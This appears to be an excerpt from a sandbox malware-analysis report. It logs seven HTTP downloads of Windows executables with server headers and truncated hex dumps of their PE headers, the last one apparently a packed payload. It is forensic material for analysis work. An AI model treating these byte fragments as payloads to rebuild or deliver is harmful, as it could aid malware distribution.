Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:12 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:14 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 09:38:19 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 09:38:25 GMTContent-Type: application/octet-streamContent-Length: 3042304Last-Modified: Mon, 16 Dec 2024 09:29:45 GMTConnection: keep-aliveETag: "675ff309-2e6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 32 00 00 04 00 00 b8 78 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 ff 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 ff 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 76 63 6c 6e 74 74 66 00 50 2b 00 00 b0 06 00 00 50 2b 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 69 67 65 76 64 69 69 00 10 00 00 00 00 32 00 00 06 00 00 00 44 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 32 00 00 22 00 00 00 4a 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
